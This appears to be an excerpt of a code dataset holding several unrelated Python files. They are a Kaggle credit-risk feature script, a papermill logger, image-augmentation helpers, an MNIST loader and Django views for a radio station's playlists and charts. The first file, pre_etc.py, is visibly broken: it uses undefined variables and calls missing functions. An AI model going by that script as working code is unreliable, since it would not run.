tqdm import tqdm\nimport multiprocessing as mp\nfrom functools import partial\nfrom scipy.stats import skew, kurtosis, iqr\nfrom sklearn.externals import joblib\nimport numpy as np\nimport pandas as pd\nfrom const import *\nfrom base import *\n\n\nfrom utils import parallel_apply\nfrom feature_extraction import add_features_in_group\n\nDIR = '../input/ops/'\n\n# feature\nAPP_TRAIN_FE = DIR + 'fe_app_train.ftr'\nAPP_TEST_FE = DIR + 'fe_app_test.ftr'\nBUR_BAL_FE = DIR + 'fe_bur_bal.ftr'\nBUR_FE = DIR + 'fe_bur.ftr'\nPRE_APP_FE = DIR + 'fe_pre_app.ftr'\nCC_BAL_FE = DIR + 'fe_cc_bal.ftr'\nINST_FE = DIR + 'fe_inst.ftr'\nPC_BAL_FE = DIR + 'fe_pc_bal.ftr'\n\nTRAIN_FE = DIR + 'train.ftr'\nTEST_FE = DIR + 'test.ftr'\n\n\ndef app():\n train_df = load_data(APP_TRAIN)\n test_df = load_data(APP_TEST)\n df = concat_data(train_df, test_df)\n\n # https://www.kaggle.com/aantonova/797-lgbm-and-bayesian-optimization\n # Remove some rows with values not present in test set\n df.drop(df[df['CODE_GENDER'] == 'XNA'].index, inplace=True)\n df.drop(df[df['NAME_INCOME_TYPE'] == 'Maternity leave'].index, inplace = True)\n df.drop(df[df['NAME_FAMILY_STATUS'] == 'Unknown'].index, inplace = True)\n\n # Replace some outliers\n df['DAYS_EMPLOYED'].replace(365243, np.nan, inplace = True)\n df.loc[df['OWN_CAR_AGE'] > 80, 'OWN_CAR_AGE'] = np.nan\n df.loc[df['REGION_RATING_CLIENT_W_CITY'] < 0, 'REGION_RATING_CLIENT_W_CITY'] = np.nan\n df.loc[df['AMT_INCOME_TOTAL'] > 1e8, 'AMT_INCOME_TOTAL'] = np.nan\n df.loc[df['AMT_REQ_CREDIT_BUREAU_QRT'] > 10, 'AMT_REQ_CREDIT_BUREAU_QRT'] = np.nan\n df.loc[df['OBS_30_CNT_SOCIAL_CIRCLE'] > 40, 'OBS_30_CNT_SOCIAL_CIRCLE'] = np.nan\n\n # Some new features\n df['app missing'] = df.isnull().sum(axis=1).values\n\n df['app EXT_SOURCE mean'] = df[['EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3']].mean(axis = 1)\n df['app EXT_SOURCE std'] = df[['EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3']].std(axis = 1)\n df['app EXT_SOURCE prod'] = df['EXT_SOURCE_1'] * df['EXT_SOURCE_2'] * df['EXT_SOURCE_3']\n df['app EXT_SOURCE_1 * EXT_SOURCE_2'] = df['EXT_SOURCE_1'] * df['EXT_SOURCE_2']\n df['app EXT_SOURCE_1 * EXT_SOURCE_3'] = df['EXT_SOURCE_1'] * df['EXT_SOURCE_3']\n df['app EXT_SOURCE_2 * EXT_SOURCE_3'] = df['EXT_SOURCE_2'] * df['EXT_SOURCE_3']\n df['app EXT_SOURCE_1 * DAYS_EMPLOYED'] = df['EXT_SOURCE_1'] * df['DAYS_EMPLOYED']\n df['app EXT_SOURCE_2 * DAYS_EMPLOYED'] = df['EXT_SOURCE_2'] * df['DAYS_EMPLOYED']\n df['app EXT_SOURCE_3 * DAYS_EMPLOYED'] = df['EXT_SOURCE_3'] * df['DAYS_EMPLOYED']\n df['app EXT_SOURCE_1 / DAYS_BIRTH'] = df['EXT_SOURCE_1'] / df['DAYS_BIRTH']\n df['app EXT_SOURCE_2 / DAYS_BIRTH'] = df['EXT_SOURCE_2'] / df['DAYS_BIRTH']\n df['app EXT_SOURCE_3 / DAYS_BIRTH'] = df['EXT_SOURCE_3'] / df['DAYS_BIRTH']\n\n df['app AMT_CREDIT - AMT_GOODS_PRICE'] = df['AMT_CREDIT'] - df['AMT_GOODS_PRICE']\n df['app AMT_CREDIT / AMT_GOODS_PRICE'] = df['AMT_CREDIT'] / df['AMT_GOODS_PRICE']\n df['app AMT_CREDIT / AMT_ANNUITY'] = df['AMT_CREDIT'] / df['AMT_ANNUITY']\n df['app AMT_CREDIT / AMT_INCOME_TOTAL'] = df['AMT_CREDIT'] / df['AMT_INCOME_TOTAL']\n \n df['app AMT_INCOME_TOTAL / 12 - AMT_ANNUITY'] = df['AMT_INCOME_TOTAL'] / 12. - df['AMT_ANNUITY']\n df['app AMT_INCOME_TOTAL / AMT_ANNUITY'] = df['AMT_INCOME_TOTAL'] / df['AMT_ANNUITY']\n df['app AMT_INCOME_TOTAL - AMT_GOODS_PRICE'] = df['AMT_INCOME_TOTAL'] - df['AMT_GOODS_PRICE']\n df['app AMT_INCOME_TOTAL / CNT_FAM_MEMBERS'] = df['AMT_INCOME_TOTAL'] / df['CNT_FAM_MEMBERS']\n df['app AMT_INCOME_TOTAL / CNT_CHILDREN'] = df['AMT_INCOME_TOTAL'] / (1 + df['CNT_CHILDREN'])\n \n df['app most popular AMT_GOODS_PRICE'] = df['AMT_GOODS_PRICE'] \\\n .isin([225000, 450000, 675000, 900000]).map({True: 1, False: 0})\n df['app popular AMT_GOODS_PRICE'] = df['AMT_GOODS_PRICE'] \\\n .isin([1125000, 1350000, 1575000, 1800000, 2250000]).map({True: 1, False: 0})\n \n df['app OWN_CAR_AGE / DAYS_BIRTH'] = df['OWN_CAR_AGE'] / df['DAYS_BIRTH']\n df['app OWN_CAR_AGE / DAYS_EMPLOYED'] = df['OWN_CAR_AGE'] / df['DAYS_EMPLOYED']\n \n df['app DAYS_LAST_PHONE_CHANGE / DAYS_BIRTH'] = df['DAYS_LAST_PHONE_CHANGE'] / df['DAYS_BIRTH']\n df['app DAYS_LAST_PHONE_CHANGE / DAYS_EMPLOYED'] = df['DAYS_LAST_PHONE_CHANGE'] / df['DAYS_EMPLOYED']\n df['app DAYS_EMPLOYED - DAYS_BIRTH'] = df['DAYS_EMPLOYED'] - df['DAYS_BIRTH']\n df['app DAYS_EMPLOYED / DAYS_BIRTH'] = df['DAYS_EMPLOYED'] / df['DAYS_BIRTH']\n \n df['app CNT_CHILDREN / CNT_FAM_MEMBERS'] = df['CNT_CHILDREN'] / df['CNT_FAM_MEMBERS']\n\n # one-hot-encode\n df, cat_cols = one_hot_encode(X, nan_as_category=True)\n return X\n\n\n\n\n\n\n\ndef inst():\n # https://www.kaggle.com/rahullalu/hcdr-installments-table-feature-selection\n installments['CALC_PERC_LESS_PAYMENT'] = installments['AMT_PAYMENT'] / installments['AMT_INSTALMENT']\n installments['CALC_PERC_LESS_PAYMENT'].replace(np.inf, 0, inplace=True)\n installments['CALC_DIFF_INSTALMENT'] = installments['AMT_INSTALMENT'] - installments['AMT_PAYMENT']\n installments['CALC_PERC_DIFF_INSTALMENT'] = np.abs(installments['CALC_DIFF_INSTALMENT']) / installments['AMT_INSTALMENT']\n installments['CALC_PERC_DIFF_INSTALMENT'].replace(np.inf, 0, inplace=True)\n installments['CALC_INSTAL_PAID_LATE'] = (installments['CALC_DAYS_LATE_PAYMENT'] > 0).astype(int)\n installments['CALC_OVERPAID'] = (installments['CALC_DIFF_INSTALMENT'] < 0).astype(int)\n\n\n\n\n\ndef cc_bal():\n credit_card = load_data(CC_BAL)\n\n\n # one-hot-encode\n cc_bal_df, cat_cols = one_hot_encode(cc_bal_df, nan_as_category=True)\n return features\n\n\n\nif __name__ == '__main__':\n print('[{}] start'.format(time.ctime()))\n\n if not os.path.exists(DIR):\n os.makedirs(DIR)\n\n # preprocessing & save\n #df = app()\n\n #bur_df = bur()\n save_data(bur_df, BUR_FE, drop=False)\n del bur_df\n gc.collect()\n\n pre_app_df = pre_app()\n save_data(pre_app_df, PRE_APP_FE, drop=False)\n df = pre_app_agg(df)\n del pre_app_df\n gc.collect()\n\n pc_bal01_df = pc_bal()\n save_data(pc_bal04_df, DIR + 'fe_pc_bal04.ftr', drop=False)\n df = pc_bal_agg(df)\n del pc_bal01_df, pc_bal02_df, pc_bal03_df, pc_bal04_df\n gc.collect()\n\n inst_df = features\n save_data(inst_df, INST_FE, drop=False)\n df = inst_agg(df)\n del inst_df\n gc.collect()\n\n cc_bal_df = cc_bal()\n save_data(cc_bal_df, CC_BAL_FE, drop=False)\n df = cc_bal_agg(df)\n del cc_bal_df\n gc.collect()\n\n train_df, test_df = split_data(df)\n save_data(train_df, APP_TRAIN_FE)\n save_data(test_df, APP_TEST_FE)\n del df, train_df, test_df\n gc.collect()\n\n # merge\n train_df = load_data(APP_TRAIN_FE)\n test_df = load_data(APP_TEST_FE)\n df = concat_data(train_df, test_df)\n del train_df, test_df\n gc.collect()\n\n bur_df = load_data(BUR_FE)\n df = df.merge(bur_df, left_on=['SK_ID_CURR'], right_on=['SK_ID_CURR'], how='left', validate='one_to_one')\n del bur_df\n gc.collect()\n\n pre_app_df = load_data(PRE_APP_FE)\n df = df.merge(pre_app_df, left_on=['SK_ID_CURR'], right_on=['SK_ID_CURR'], how='left', validate='one_to_one')\n del pre_app_df\n gc.collect()\n\n pc_bal01_df = load_data(DIR + 'fe_pc_bal01.ftr')\n pc_bal02_df = load_data(DIR + 'fe_pc_bal02.ftr')\n pc_bal03_df = load_data(DIR + 'fe_pc_bal03.ftr')\n pc_bal04_df = load_data(DIR + 'fe_pc_bal04.ftr')\n df = df.merge(pc_bal01_df, left_on=['SK_ID_CURR'], right_on=['SK_ID_CURR'], how='left', validate='one_to_one')\n df = df.merge(pc_bal02_df, left_on=['SK_ID_CURR'], right_on=['SK_ID_CURR'], how='left', validate='one_to_one')\n df = df.merge(pc_bal03_df, left_on=['SK_ID_CURR'], right_on=['SK_ID_CURR'], how='left', validate='one_to_one')\n df = df.merge(pc_bal04_df, left_on=['SK_ID_CURR'], right_on=['SK_ID_CURR'], how='left', validate='one_to_one')\n del pc_bal01_df, pc_bal02_df, pc_bal03_df, pc_bal04_df\n gc.collect()\n\n inst_df = load_data(INST_FE)\n df = df.merge(inst_df, left_on=['SK_ID_CURR'], right_on=['SK_ID_CURR'], how='left', validate='one_to_one')\n del inst_df\n gc.collect()\n\n cc_bal_df = load_data(CC_BAL_FE)\n df = df.merge(cc_bal_df, left_on=['SK_ID_CURR'], right_on=['SK_ID_CURR'], how='left', validate='one_to_one')\n del cc_bal_df\n gc.collect()\n\n # save\n train_df, test_df = split_data(df)\n save_data(train_df, TRAIN_FE)\n save_data(test_df, TEST_FE)\n\n print('[{}] end'.format(time.ctime()))\n","sub_path":"src/pre_etc.py","file_name":"pre_etc.py","file_ext":"py","file_size_in_byte":8622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"296004942","text":"\"\"\"Sets up a logger\"\"\"\nimport logging\nimport sys\n\nlogger = logging.getLogger('papermill')\nlogging.basicConfig(filename=\"papermill-nb-runner.out\", level=logging.INFO)\n\nh1 = logging.StreamHandler(sys.stdout)\nh1.setLevel(logging.DEBUG)\nh1.addFilter(lambda record: record.levelno <= logging.INFO)\n\nh2 = logging.StreamHandler()\nh2.setLevel(logging.WARNING)\n\nlogging.getLogger().addHandler(h1)\nlogging.getLogger().addHandler(h2)\n","sub_path":"papermill/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"188194865","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 14 08:40:27 2017\n\n@author: Shingo Nakamura\n\n深層学習用の学習画像生成のためのツール関数群\n\"\"\"\nimport sys\nimport numpy as np\nimport cv2\nimport math\nfrom datetime import datetime\nimport time\n\ndef chromakey( bgi, src, mask, pos = (0,0) ):\n \"\"\"\n src に maskを掛けて bgi にクロマキー合成する\n @param bgi 背景画像\n @param src 前面画像\n @param mask src画像のmask画像\n @param pos bgiに対する相対位置座標(x,y)\n @return 合成された画像\n \"\"\"\n\n assert mask.dtype == np.uint8 and mask.ndim == 2, 'maskが8U1Cではありません'\n assert src.shape[:2] == mask.shape[:2], 'srcとmaskのサイズが異なります'\n \n # 高さ、幅\n bgi_h, bgi_w = bgi.shape[:2]\n src_h, src_w = src.shape[:2]\n\n # maskの4隅座標\n lft = int((bgi_w - src_w )/2 + pos[0]*bgi_w)\n top = int((bgi_h - src_h )/2 + pos[1]*bgi_h)\n rgt = lft + src_w\n btm = top + src_h\n \n # 重なっている領域の算出 & 抽出 ( bgi側 )\n lap_lft = max( 0, lft )\n lap_top = max( 0, top )\n lap_rgt = min( bgi_w, rgt )\n lap_btm = min( bgi_h, btm )\n img = bgi.copy()\n lap_bgi = img[lap_top:lap_btm, lap_lft:lap_rgt, :]\n \n # 重なっている領域の算出 & 抽出( src側 )\n lap_lft2 = lap_lft-lft\n lap_top2 = lap_top-top\n lap_rgt2 = lap_lft2 + (lap_rgt-lap_lft)\n lap_btm2 = lap_top2 + (lap_btm-lap_top)\n lap_src = src[lap_top2:lap_btm2, lap_lft2:lap_rgt2,:]\n mask = mask[lap_top2:lap_btm2, lap_lft2:lap_rgt2] / 255.0\n mask = cv2.merge((mask,mask,mask))\n \n # 合成\n lap_bgi = lap_src*mask + (1.0-mask)*lap_bgi\n img[lap_top:lap_btm, lap_lft:lap_rgt, :] = lap_bgi\n\n # 終了\n return img;\n \n \ndef chromakey_mask( bgi, mask, pos = (0,0) ):\n \n '''\n クロマキー合成後のマスク画像を取得する\n @param bgi 背景画像\n @param mask src画像のmask画像\n @param pos bgiに対する相対位置座標(x,y)\n @return クロマキー後のマスク画像\n '''\n assert mask.dtype == np.uint8 and mask.ndim == 2, 'maskが8U1Cではありません'\n \n # 高さ、幅\n bgi_h, bgi_w = bgi.shape[:2]\n msk_h, msk_w = mask.shape[:2]\n\n # maskの4隅座標\n lft = int((bgi_w - msk_w )/2 + pos[0]*bgi_w)\n top = int((bgi_h - msk_h )/2 + pos[1]*bgi_h)\n rgt = lft + msk_w\n btm = top + msk_h\n \n # 重なっている領域の算出 & 抽出 ( bgi��� )\n lap_lft = max( 0, lft )\n lap_top = max( 0, top )\n lap_rgt = min( bgi_w, rgt )\n lap_btm = min( bgi_h, btm )\n \n # 重なっている領域の算出 & 抽出( mask側 )\n lap_lft2 = lap_lft-lft\n lap_top2 = lap_top-top\n lap_rgt2 = lap_lft2 + (lap_rgt-lap_lft)\n lap_btm2 = lap_top2 + (lap_btm-lap_top)\n mask = mask[lap_top2:lap_btm2, lap_lft2:lap_rgt2]\n\n # 最終 mask\n img = np.zeros( bgi.shape[:2], dtype='ubyte' )\n img[lap_top:lap_btm, lap_lft:lap_rgt] = mask\n return img\n\n \n# ガンマ補正をする\ndef gamma_correction( src, gamma ):\n \"\"\"\n ガンマ補正をする\n @param src 原画像\n @param gamma ガンマ補正値\n @return ガンマ補正された画像\n \"\"\"\n\n # Lookup table の作成\n lookup_table = np.zeros((256, 1), dtype = 'uint8' )\n for i in range(256):\n lookup_table[i][0] = 255 * pow(float(i) / 255, 1.0 / gamma)\n \n # ガンマ補正の適用\n return cv2.LUT(src, lookup_table)\n \n \ndef trim_img( src, rect ):\n \"\"\"\n 画像を切り出す\n @param src ソース画像\n @param rect 矩形領域を表す(left, top, width, height)\n @return 切り出した画像\n \"\"\"\n \n h, w = src.shape[:2]\n assert rect[0] >= 0, \"rect is not inside of src\"\n assert rect[1] >= 0, \"rect is not inside of src\"\n assert rect[0]+rect[2] <= w, \"rect is not inside of src\"\n assert rect[1]+rect[3] <= h, \"rect is not inside of src\"\n \n if( src.ndim == 2 ):\n img = src[rect[1]:rect[1]+rect[3], rect[0]:rect[0]+rect[2]]\n else:\n img = src[rect[1]:rect[1]+rect[3], rect[0]:rect[0]+rect[2],:]\n\n return img\n \n\n# 倍率により画像サイズを変更する関数.\ndef resize_byfactor( src, factor, interpolation=cv2.INTER_LINEAR ):\n \"\"\"\n 画像サイズを変更する関数.\n @param src ソース画像\n @param factor 倍率\n @param interpolation 補間方法(default=cv2.INTER_LINEAR)\n @return サイズ変更された画像\n \"\"\"\n h, w = src.shape[:2]\n newImg = cv2.resize( src, None, fx=factor, fy=factor, interpolation=interpolation )\n return newImg\n\n# サイズ指定により画像サイズを変更する関数.\ndef resize_bysize( src, width, height, interpolation=cv2.INTER_LINEAR ):\n \"\"\"\n 画像サイズを変更する関数\n @param src ソース画像\n @param width 変換後の幅\n @param height 変換後の高さ\n @param interpolation 補間方法(default=cv2.INTER_LINEAR)\n @return サイズ変更された画像\n \"\"\"\n newImg = cv2.resize( src, (width, height), interpolation=interpolation )\n return newImg\n\n# アスペクト比に従って画像サイズを変更する\ndef resize_byaspect( src, aspect, interpolation=cv2.INTER_LINEAR ):\n \"\"\"\n アスペクト比に従って画像サイズを変更する\n @param src ソース画像\n @param aspect アスペクト比:縦を1とした時の横の比率\n @param interpolation 補間方法\n @return サイズ変更された画像\n \"\"\"\n # 面積は変えずにアスペクト比になるように縦横の倍率設定\n fx = np.sqrt(aspect)\n fy = 1.0 / fx\n newImg = cv2.resize( src, None, fx=fx, fy=fy, interpolation=interpolation )\n return newImg\n\n \n# 画像を回転させる\ndef rotate_img( src, deg, interpolation=cv2.INTER_LINEAR ):\n \"\"\"\n 画像を中心で回転する関数.\n @param src ソース画像\n @param deg 回転角度[degree]\n @param interpolation 補間方法\n @return 回転された画像\n \"\"\"\n h, w = src.shape[:2]\n size = int(math.ceil(1.42 * max(w,h)))\n trn_mat = np.float32([[1,0,(size-w)/2],[0,1,(size-h)/2],[0,0,1]])\n rot_mat = cv2.getRotationMatrix2D( (size/2, size/2), deg, 1.0 )\n new_img = cv2.warpAffine( src, np.dot(rot_mat,trn_mat), (size,size), flags=interpolation)\n return new_img\n \n\n\n#mask領域を囲むBoundingBoxを返す関数.\ndef rect_of_mask( mask ):\n \"\"\"\n mask領域を囲むBoundingBoxを返す関数.\n @param mask 8bitのマスク画像\n @return (left, top, width, height)\n \"\"\"\n assert mask.dtype == np.uint8 and mask.ndim == 2, 'mask is not uint8'\n\n # maskの高さと幅\n h, w = mask.shape[:2]\n\n # top位置を探す\n for top in range(h):\n if( np.sum(mask[top,:]>0) > 0 ):\n break\n else:\n return (0,0,0,0) # 見つからなかった\n\n # bottom 位置を探す\n for btm in range( h-1, -1, -1):\n if( np.sum(mask[btm,:]>0) > 0):\n break\n\n # left 位置を探す\n for lft in range( w ):\n if( np.sum(mask[:,lft]>0) > 0):\n break\n\n # right 位置を探す\n for rgt in range( w-1, -1, -1 ):\n if( np.sum(mask[:,rgt]>0) > 0):\n break\n\n #高さ & 幅\n height = btm - top + 1\n width = rgt - lft + 1\n \n # 終了\n return ( lft, top, width, height )\n\n\n\n# プログレスバーを���示する関数\ndef get_progressbar_str(progress, max_progress, maxlen = 50, bufsize=10):\n \n \"\"\"\n プログレスバーの文字列を返す関数.\n @param progress 現在の進行具合\n @param max_progress 最終進行具合\n @param maxlen 最終進行具合までの長さ[文字]\n @param bufsize 残り時間を計算するためのデータ数\n \"\"\"\n \n # 初回の処理\n if not hasattr(get_progressbar_str, 'time_q' ):\n get_progressbar_str.time_q = []\n \n # プログレスバー文字列作成\n ratio = progress / max_progress\n BAR_LEN = int(maxlen * ratio)\n bar_str = ('[' + '=' * BAR_LEN +\n ('>' if BAR_LEN < maxlen else '') +\n ' ' * (maxlen - BAR_LEN) +\n '] %.1f%%' % (ratio * 100.))\n \n # 残り何秒かかかるか計算する\n get_progressbar_str.time_q.append( [progress, datetime.now()] )\n cnt = len(get_progressbar_str.time_q)\n\n # 十分な数データがなければ終了\n if cnt <= 1:\n return bar_str\n \n # q_capacity以内の個数に調整 \n if cnt > bufsize:\n get_progressbar_str.time_q.pop(0) #先頭要素削除\n\n # 残り時間計算 \n d_cnt = get_progressbar_str.time_q[-1][0] - get_progressbar_str.time_q[0][0]\n durat = get_progressbar_str.time_q[-1][1] - get_progressbar_str.time_q[0][1]\n rem = (max_progress - progress) * durat / d_cnt\n hour = int(rem.total_seconds()/3600)\n minu = int(rem.total_seconds())//60%60\n secs = int(rem.total_seconds())%60 + 1\n if progress == max_progress: secs = 0\n time_str = ' (残り{0:02}h{1:02}m{2:02}s)'.format(hour, minu, secs)\n\n return bar_str + time_str\n\n \n\n \n#各関数のテストプログラム\nif __name__ == '__main__':\n \n \n deg = 10 # 回転角度\n aspect = 0.9 # アスペクト比\n pos = (0.1, 0.2) # 映り込み位置\n gamma = 0.5 # ガンマ補正\n scale = 0.5 # スケール\n\n # 元画像\n fgi_fn = 'test_fgi.jpg'\n msk_fn = 'test_msk.png'\n bgi_fn = 'test_bgi.jpg'\n fgi = cv2.imread( fgi_fn, cv2.IMREAD_COLOR )\n msk = cv2.imread( msk_fn, cv2.IMREAD_GRAYSCALE )\n bgi = cv2.imread( bgi_fn, cv2.IMREAD_COLOR )\n \n # 回転\n print( 'rotate_img関数' )\n fgi = rotate_img( fgi, deg )\n msk = rotate_img( msk, deg )\n \n # アスペクト比\n print( 'resize_byaspect関数' )\n fgi = resize_byaspect(fgi, aspect)\n msk = resize_byaspect(msk, aspect)\n \n # スケール\n print( 'resize_byfactor関数' )\n fgi = resize_byfactor(fgi, scale)\n msk = resize_byfactor(msk, scale)\n \n # トリミング\n print( 'rect_of_mask関数' )\n rect = rect_of_mask( msk )\n print( 'trim_img関数' )\n trim = trim_img(fgi, rect);\n cv2.imshow( 'trim', resize_byfactor(trim, 0.25) )\n \n # ガンマ補正\n print( 'gamma_correction関数' )\n gmm = gamma_correction( trim, gamma )\n cv2.imshow( 'gamma', resize_byfactor(gmm, 0.25) )\n\n # クロマキー合成\n print( 'chromakey関数' )\n chrmk = chromakey( bgi, fgi, msk, pos )\n chrmk = cv2.GaussianBlur( chrmk, (11,11), 13 )\n cv2.imshow( 'chromakey', resize_bysize(chrmk, 450, 800) )\n \n # 画像表示のための停止\n cv2.waitKey()\n cv2.destroyAllWindows()\n\n # プログレスバー\n print( 'プログレスバー' )\n max_p = 123\n for i in range(max_p):\n time.sleep(0.01)\n sys.stdout.write('\\r\\033[K' + get_progressbar_str(i+1, max_p))\n if i+1 != max_p :\n sys.stdout.flush()\n sys.stdout.write('\\n')\n\n","sub_path":"imgtool.py","file_name":"imgtool.py","file_ext":"py","file_size_in_byte":10971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"146699071","text":"import numpy\n\nimport os\nimport urllib\nimport gzip\nimport pickle\n\ndef mnist_generator(data, batch_size, digits_filter, div_by=None):\n images, targets = data\n\n if digits_filter is not None:\n relevant_samples = numpy.isin(targets, digits_filter)\n images = images[relevant_samples]\n targets = targets[relevant_samples]\n print('Samples shape =', images.shape)\n rng_state = numpy.random.get_state()\n numpy.random.shuffle(images)\n numpy.random.set_state(rng_state)\n numpy.random.shuffle(targets)\n if div_by is not None:\n limit = int(round(images.shape[0]/div_by))\n print(\"WARNING ONLY 1/{} = {} MNIST DIGITS\".format(div_by, limit))\n images = images.astype('float32')[:limit]\n targets = targets.astype('int32')[:limit]\n\n def get_epoch():\n rng_state = numpy.random.get_state()\n numpy.random.shuffle(images)\n numpy.random.set_state(rng_state)\n numpy.random.shuffle(targets)\n\n num_samples = images.shape[0] - images.shape[0]%batch_size\n image_batches = images[:num_samples].reshape(-1, batch_size, 784)\n target_batches = targets[:num_samples].reshape(-1, batch_size)\n\n for i in xrange(len(image_batches)):\n yield (numpy.copy(image_batches[i]), numpy.copy(target_batches[i]))\n\n return get_epoch\n\ndef load(batch_size, test_batch_size, digits_filter=None, div_by=None):\n filepath = '/tmp/mnist.pkl.gz'\n url = 'http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz'\n\n if not os.path.isfile(filepath):\n print(\"Couldn't find MNIST dataset in /tmp, downloading...\")\n urllib.urlretrieve(url, filepath)\n\n with gzip.open('/tmp/mnist.pkl.gz', 'rb') as f:\n train_data, dev_data, test_data = pickle.load(f)\n\n return (\n mnist_generator(train_data, batch_size, digits_filter, div_by),\n mnist_generator(dev_data, test_batch_size, digits_filter, div_by),\n mnist_generator(test_data, test_batch_size, digits_filter, div_by)\n )\n\ndef load_now(digits_filter=None):\n filepath = '/tmp/mnist.pkl.gz'\n url = 'http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz'\n\n if not os.path.isfile(filepath):\n print(\"Couldn't find MNIST dataset in /tmp, downloading...\")\n urllib.urlretrieve(url, filepath)\n\n with gzip.open('/tmp/mnist.pkl.gz', 'rb') as f:\n train_data, dev_data, test_data = pickle.load(f)\n\n return train_data, dev_data, test_data\n\n","sub_path":"tflib/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"359146715","text":"# encoding: utf-8\nfrom datetime import date, datetime, timedelta\nimport re\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.utils.html import escape\n\nimport djpro.models as djpro\nimport on_air.models as on_air\n\n\ndef playlist(request):\n \"\"\"\n Returns a list of songs played. If there is no request.GET['day'], then \n return the playlist for today from Playlist. Otherwise return the day\n from PlayHistory.\n \"\"\"\n errors = []\n \n # Get the day of the request\n if request.GET.get('day', ''):\n day = request.GET['day']\n try:\n if re.match('[0-9]+/[0-9]+/[0-9]{4}', day):\n today = datetime.strptime(day, '%m/%d/%Y').date()\n elif re.match('[0-9]+/[0-9]+/[0-9]{2}', day):\n today = datetime.strptime(day, '%m/%d/%y').date()\n elif re.match(r'[0-9]+\\-[0-9]+\\-[0-9]+', day):\n today = datetime.strptime(day, '%Y-%m-%d').date()\n else:\n raise ValueError()\n except ValueError:\n today = date.today()\n errors.append(u\"The date “%s” isn’t actually a date.\" % day)\n \n else:\n today = date.today()\n \n # Get the the day before & after and the playlist for the date.\n if today != date.today():\n # We do this complex lookup because sometimes days get skipped\n yesterday = on_air.PlayHistory.objects.filter(played_at__lt=today).order_by('-played_at')[0:1]\n try:\n yesterday = yesterday.get().played_at.date()\n except on_air.PlayHistory.DoesNotExist:\n yesterday = None\n \n tomorrow = date.fromordinal(today.toordinal()+1)\n tomorrow = on_air.PlayHistory.objects.filter(played_at__gte=tomorrow).order_by('played_at')[0:1]\n try:\n tomorrow = tomorrow.get().played_at.date()\n except on_air.PlayHistory.DoesNotExist:\n tomorrow = None\n \n playlist = on_air.PlayHistory.objects.filter(played_at__gte=today).select_related('song__artist', 'song__album')\n if tomorrow:\n playlist = playlist.filter(played_at__lt=tomorrow)\n \n if playlist.count() == 0:\n errors.append(u\"There is no playlist for %d/%d/%d\" % (today.month, today.day, today.year))\n else:\n yesterday = on_air.PlayHistory.objects.all().order_by('-played_at')[0].played_at.date()\n tomorrow = None\n \n playlist = on_air.Playlist.objects.filter(played_at__isnull=False).order_by('-played_at').select_related('song__artist', 'song__album')\n \n return render_to_response('front_page/playlist.html', {'list': playlist, 'yesterday': yesterday, 'today': today, 'tomorrow': tomorrow, 'errors': errors})\n\ndef playlist_xml(request):\n \"\"\"\n Retrieves the current playlist as XML. Designed to be used by the smartphone app.\n \"\"\"\n playlist = on_air.Playlist.objects.filter(played_at__isnull=False).order_by('-played_at').select_related('song__artist', 'song__album')\n \n return render_to_response('front_page/playlist.xml', {'list': playlist}, mimetype=\"application/xml\")\n\ndef current(request):\n \"\"\"Show the last played song as XML for the various parsers\"\"\"\n try:\n pl = on_air.Playlist.objects.filter(played_at__gt=datetime.now()-timedelta(seconds=300), song__artist__isnull=False).select_related('song__artist', 'song__album').order_by('-played_at')[0]\n song = pl.song\n artist = pl.song.artist\n album = pl.song.album\n except IndexError:\n song = None\n artist = None\n album = None\n\n return render_to_response('front_page/current.xml', {'song': song, 'artist':artist, 'album':album}, mimetype='application/xml')\n\ndef concert_list(request):\n \"\"\"Shows the concerts in HTML\"\"\"\n concerts = djpro.Concert.objects.all().select_related('venue', 'performer')\n return render_to_response('front_page/concerts.html', {'list': concerts})\n \n\ndef concert_ical(request):\n \"\"\"Shows the concerts in ICalendar format. For use with iPhones.\"\"\"\n concerts = djpro.Concert.objects.all().select_related('venue', 'performer')\n return render_to_response('front_page/concerts.ics', {'list': concerts}, mimetype=\"text/calendar\")\n\ndef top10(request):\n \"\"\"Shows the top 10 (or top 30) of the week request.GET['week'].\n \n Always shows the nearest top 10 week.\n \"\"\"\n errors = []\n if request.GET.get('week'):\n day = request.GET['week']\n try:\n if re.match('[0-9]+/[0-9]+/[0-9]{4}', day):\n week = datetime.strptime(day, '%m/%d/%Y').date()\n elif re.match('[0-9]+/[0-9]+/[0-9]{2}', day):\n week = datetime.strptime(day, '%m/%d/%y').date()\n elif re.match(r'[0-9]+\\-[0-9]+\\-[0-9]+', day):\n week = datetime.strptime(day, '%Y-%m-%d').date()\n else:\n raise ValueError()\n except ValueError:\n week = date.today()\n errors.append(u\"The date “%s” isn’t actually a date.\" % day)\n else:\n week = date.today()\n \n # this_week is the top 10 list in question\n qs = on_air.Top10.objects.filter(week_ending__gte=week).order_by('week_ending')[:2]\n if qs.exists():\n this_week = qs[0]\n else: \n this_week = on_air.Top10.objects.all().order_by('-week_ending')[0]\n week = this_week.week_ending\n \n # prev and next are dates of top 10 lists\n next = qs[1].week_ending if qs.count() > 1 else None\n prev = on_air.Top10.objects.filter(week_ending__lt=week).order_by('-week_ending')[0:1]\n prev = prev[0].week_ending if prev.exists() else None\n\n return render_to_response('front_page/top10.html', {'this_week': week, 'next_week': next, 'prev_week': prev, 'list':this_week.albums.all().select_related('album__artist'), 'errors':errors})\n \n","sub_path":"front_page/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"425582103","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: 